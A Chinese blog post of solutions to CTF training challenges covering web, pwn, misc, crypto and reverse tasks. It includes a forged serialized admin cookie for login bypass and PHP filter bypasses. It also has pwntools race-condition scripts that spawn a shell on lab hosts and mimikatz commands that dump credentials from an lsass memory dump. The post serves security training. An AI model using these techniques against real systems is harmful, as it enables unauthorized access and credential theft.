奇安信CTF基础培训题目wp

第一次当ctf讲师^_^

7.12-7.19 week1
7.19-7.26 week2
7.26-8.02 week3

web

Web-2-hack

使用dirsearch扫描后台,发现存在shell.php

使用burp等工具抓包爆破密码,得到密码hack

web-3-web82

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');

}

?>

需要我们传入A_A,但是又不能等于A_A,看似很矛盾,实际上利用了php的一个小特性

在php中,变量名中的+ %20 . 空格 [会被替换成下划线,所以当我们传入A.AA A时,也会被当成A_A

然后就是绕过数字,因为在php中会认为数组比数字大,所以传入?A+A[]=即可

vipzone

首页有个hint,guest:guest 账户已经启用,那就用guest账号登录看一下

发现有两个cookie比较可疑,因为有一个非常明显是base64加密后的值

base64解密后发现是明文的序列化对象

而第二个cookie: check恰恰用这串base64的md5值的base64值来校验

所以我们只需要修改序列化对象然后加密就可以绕过登录了

但是我们不知道admin的密码,这里可以尝试用布尔型代替密码,并赋值为1

修改后的值:O:4:"User":2:{s:4:"user";s:5:"admin";s:4:"pass";b:1;}
base64加密:Tzo0OiJVc2VyIjoyOntzOjQ6InVzZXIiO3M6NToiYWRtaW4iO3M6NDoicGFzcyI7YjoxO30=
md5加密:6897f0060a84ecb0600e4167d2a748e4

web-3-web54

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}

有一个正则匹配/^\w+$/

两个//表示开始和结束
^表示开始字符串
$表示结束字符串
\w表示包含[a-z,A-Z, _ , 0-9]
+表示一个或者多个\w

然后是一个$$args,也就是说我们传入的参数将会被当作一个变量名并打印它的变量值

传入php超全局变量$GLOBALS即可

Web-4-littledropbox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
function upload()
{
$uploadDir = "uploads/" . md5($_SERVER['REMOTE_ADDR']);
echo md5($_SERVER['REMOTE_ADDR']);
if (!is_dir($uploadDir)) mkdir($uploadDir);
if (!empty($_FILES["file"])) {
if (preg_match("/ph/i", substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], ".") + 1))) die("nonono!!!");
if (mb_strpos(file_get_contents($_FILES["file"]["tmp_name"]), '<?') !== False) die("nonono!!!");
$info = getimagesize($_FILES["file"]["tmp_name"]);
if ($info[0] !== 100 || $info[1] !== 50) {
die("nonono!!!");
}
}
@move_uploaded_file($_FILES["file"]["tmp_name"], $uploadDir . "/" . basename($_FILES["file"]["name"]));
}

$ready = filter_input(INPUT_GET, 'ready');
$key = filter_input(INPUT_GET, 'key');
if ($ready === "1") {
session_start();
if (!isset($_SESSION["secretKey"])) {
$_SESSION["secretKey"] = mt_rand();
}
mt_srand($_SESSION["secretKey"]);
echo mt_rand() . "<br>";
for ($i = 0; $i < 225; $i++) mt_rand();
echo mt_rand() . "<br>";
echo mt_rand() . "<br>";
echo mt_rand() . "<br>";
if ($key === (string)$_SESSION['secretKey']) {
upload();
}
} else {
highlight_file(__FILE__);
}

pwn

race

ida分析:
1:当i大于9,且输入不为1时,会调用system("/bin/sh")
2:修改i的值需要调用thread1函数,在这里因为count = 3 ,而每次执行thread1函数,都会使count--,
在正常的使用中,最多只能执行三次i++,不过因为sleep(0xA)的原因,线程会在验证count的值之后停下,我们可以在这10秒中,调用多次thread1函数,使多个线程卡在++i指令之前,在10秒之后,就会执行多次++i指令,使i>9,这时输入一个非1的数字,程序就会调用system("/bin/sh")

1
2
3
4
5
6
7
8
import time
from pwn import *
p=remote('172.19.1.28','10001')
for i in range(10):
p.sendline('1')
time.sleep(0xb)
p.sendline('2')
p.interactive()

race2

file_read函数中,当buf字符串中不存在flag时,会先等待5
然后打开buf字符串指定的文件,并输出文件内容

但因为程序是使用多线程调用的file_read函数,所以程序在等待5秒时,我们还是可以修改buf字符串的值

最后只需要先让线程执行到sleep(5);代码处,然后再输入flag,然后等待一段时间,程序就会打开靶机上的flag文件,并输出其内容

1
2
3
4
5
6
7
8
9
10
from pwn import *
import time
p=remote('172.19.1.132',10002)
p.sendline('1')
p.sendline('abc')
time.sleep(1)
p.sendline('1')
p.sendline('flag')
time.sleep(5)
p.interactive()

misc

misc-3-hacker

下载得到一个lsass.dmp文件,什么是lsass.dmp呢,它是procdumplsass.exe中导出的凭据,可以用mimikatz读取

把文件放到程序目录下,以管理员运行mimikatz,执行以下命令

privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

如果报错ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->ProcessorArchitecture (0) != PROCESSOR_ARCHITECTURE_AMD64 (9)

那么可能是架构错了,用win32版本重新运行即可

misc-3-funny ASCII

二进制数据转成文本即可

misc-4-password

打开一看,发现有几个文件很小,只有4

一般小于6的文件是可以进行crc爆破的,推荐工具

用法:python crc32.py reverse crc

提取出来后转字符串得到easypassword,解压得到flag

misc103

根据题目描述来看是一道数据恢复题

file命令看下文件badimages: Linux rev 1.0 ext3 filesystem data, UUID=ca014691-c6ea-4a5a-8da4-74a1aa1c9a80

可以知道是linux下的ext3文件,linux下的文件恢复可以用extundelete命令

看日志:extundelete <file> --journal

尝试恢复所有目录和文件:extundelete <file> --restore-all

恢复到RECOVERED_FILES目录

flag在RECOVERED_FILES/Flag.txt

Misc-5-Forgotten password

取证题

第一步肯定是获取内存镜像的基本信息

根据hint小明总是喜欢password记录下来,用editbox显示出有关编辑控件的信息,得到密码password*&!@wxcq12

用密码直接交不对,那么应该是压缩包之类的密码了
查找压缩包并导出

editbox得到的密码解压压缩包拿到flag

crypto

Write a script

md5爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib
import itertools
word="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
r=itertools.product(word,repeat=3)
for i in r:

dec ="flag{P7%sY0OG%s0XPC%sZPK}"%(i[0],i[1],i[2])
dec=dec.strip()
enc = hashlib.md5()
enc.update(dec.encode())
code=enc.hexdigest()
code=code.strip()
if code[:4]=="9e86" and code[-6:]=="0ea7cf":
print(dec)

base

给了一个py文件和明文的md5值

代码中明文base64加密之后将小写字母全部变为大写

使用脚本暴力破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*-coding: utf-8 -*-

import hashlib
import itertools
import base64

def check(str):
m1 = hashlib.md5(str).hexdigest()
if m1 == '16478a151bdd41335dcd69b270f6b985':
return True
else:
return False

list1=itertools.product(['Y','y'],['M','m'],['F','f'],['Z','z'],['Z','z'],['T','t'],['Y','y'],['0'],['D','d'],['3'],['R','r'],['M','m'],['D','d'],['3'],['R','r'],['M','m'],['M','m'],['T','t'],['I','i'],['Z','z'])
for i in list1:
str1=''.join(i)
if check(base64.b64decode(str1)):
print "The Flag is "+base64.b64decode(str1)
break
else:
print "not "+str1

reverse

一张来自夏天的车票

pyc文件,先进行反编译

uncompyle6 exp.pyc > exp.py失败,修复下文件

file看下版本,是3.6的

构造一个3.6生成的pyc文件与exp.pyc对比

会发现中间少了四个字节

填充上00

反编译后运行得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.9.2 (tags/v3.9.2:1a79785, Feb 19 2021, 13:44:55) [MSC v.1928 64 bit (AMD64)]
# Embedded file name: exp.py
# Compiled at: 2021-06-10 15:30:34
import base64
key = 'e4b5e6d3-bc5a-475b-8c26-d3941ed9b90f'
enc = 'XQdSA1YEV1IAAFMGUwAAA1AGAFkFBwcAAQQPVwRVXAxXDFFf'
print(key[(len(key) - 1)])

def decode2(m):
return base64.urlsafe_b64decode(m)


def decode1(m, key):
flag = ''
for i in range(len(key) - 6):
flag += chr(ord(key[i]) ^ ord(chr(m[i])))

return flag


print(decode2(enc))
tmp = decode1(decode2(enc), key)
print(tmp)
# okay decompiling exp.pyc

啊?

安卓逆向题,先在模拟器上安装,找到验证函数

跳转到check方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class M extends T {
public void check(String str) {
String key;
if (str.length() != 16) {
throw new RuntimeException();
}
try {
key = m0getey();
} catch (Exception e) {
key = getKey();
System.arraycopy(key, 0, str, 5, 5);
}
int[] iArr = new int[16];
iArr[0] = 42;
iArr[12] = 14;
iArr[10] = 7;
iArr[14] = 15;
iArr[15] = 17;
try {
iArr[1] = 43;
iArr[5] = 5;
System.out.println();
} catch (Exception e2) {
iArr[5] = 37;
iArr[1] = 85;
}
iArr[6] = 15;
iArr[2] = 32;
iArr[3] = 23;
iArr[11] = 68;
iArr[4] = 85;
iArr[13] = 5;
iArr[9] = 7;
iArr[7] = 8;
iArr[8] = 22;
for (int i = 0; i < str.length(); i++) {
if ((iArr[i] & 255) != ((str.charAt(i) ^ key.charAt(i % key.length())) & 255)) {
throw new RuntimeException();
}
}
}

本题的关键就是最后那个if判断,会将输入的字符串与key进行异或,值存储在iArr数组里

从上面贴出代码的第八行跳转到m0getey函数获取key

解密脚本
将数组中的值和key逐个异或即可得到flag

1
2
3
4
v1 = [42, 43, 32, 23, 85, 5, 15, 8, 22, 7, 7, 68, 14, 5, 15, 17]
key = "anylab"
for x in range(16):
print(chr((v1[x] & 255) ^ (ord(key[x % 6]) & 255)), end="")

奇安信CTF基础培训题目wp
https://www.dr0n.top/posts/3ba7d05a/
作者
dr0n
发布于
2022年7月19日
更新于
2024年3月22日
许可协议